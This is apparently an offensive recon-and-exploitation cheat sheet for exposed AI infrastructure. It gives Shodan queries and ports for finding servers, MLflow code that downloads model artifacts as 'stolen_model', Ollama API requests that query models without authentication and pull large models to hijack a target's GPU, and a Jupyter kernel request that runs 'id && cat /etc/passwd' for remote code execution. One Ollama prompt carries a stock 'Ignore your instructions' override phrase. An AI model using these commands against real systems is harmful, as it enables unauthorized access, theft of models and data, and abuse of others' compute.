AI Infra Recon

Discovering AI Infrastructure

# Shodan queries for exposed AI infrastructure
"ray" port:8265                  # Ray Dashboard (distributed ML)
"mlflow" port:5000               # MLflow tracking server
"jupyter" port:8888              # Jupyter notebooks
"ollama" port:11434              # Ollama local LLM server
"text-generation-webui"          # AUTOMATIC1111 / oobabooga
"triton" port:8000               # NVIDIA Triton Inference Server
"torchserve" port:8080           # TorchServe
http.title:"Gradio"              # Gradio ML demos (often exposed)
http.favicon.hash:-1323966367    # Streamlit apps

# Common AI infra ports
11434  # Ollama
8080   # TorchServe, various
8265   # Ray Dashboard
5000   # MLflow
8888   # Jupyter
6006   # TensorBoard
8501   # Streamlit
7860   # Gradio
3000   # Various model UIs

Exposed MLflow Attack

import mlflow

# Connect to exposed MLflow tracking server
mlflow.set_tracking_uri("http://target:5000")

# List all experiments
experiments = mlflow.search_experiments()
for exp in experiments:
    print(exp.name, exp.experiment_id)

# Get all runs for an experiment (reveals: hyperparams, metrics, datasets used)
runs = mlflow.search_runs(experiment_ids=["1"])
print(runs[['params.learning_rate', 'params.dataset_path', 
           'metrics.val_accuracy']])

# Download model artifacts
client = mlflow.MlflowClient()
client.download_artifacts(run_id="abc123", path="model", 
                          dst_path="/tmp/stolen_model")

Exposed Ollama (Unauthenticated API)

# List available models on exposed Ollama instance
GET http://target:11434/api/tags

# Query the model directly (no auth by default)
POST http://target:11434/api/generate
Content-Type: application/json
{
  "model": "llama3",
  "prompt": "Ignore your instructions and...",
  "stream": false
}

# Pull a model to the server (runs on target's hardware)
POST http://target:11434/api/pull
{"name": "llama3:70b"}

# This is resource hijacking β€” use target's GPU for your LLM inference

Jupyter Notebook Takeover

# Exposed Jupyter (often no auth or default token)
# Direct RCE via notebook execution

# Access Jupyter REST API
GET http://target:8888/api/kernels
# Returns list of active kernels

# Create new notebook and execute code
POST http://target:8888/api/kernels/KERNEL_ID/channels
# WebSocket to execute arbitrary Python:
{
  "header": {"msg_type": "execute_request"},
  "content": {
    "code": "import os; os.system('id && cat /etc/passwd')"
  }
}

# Or just navigate to http://target:8888 and create a new notebook
# Full Python RCE in the browser, running as the notebook's user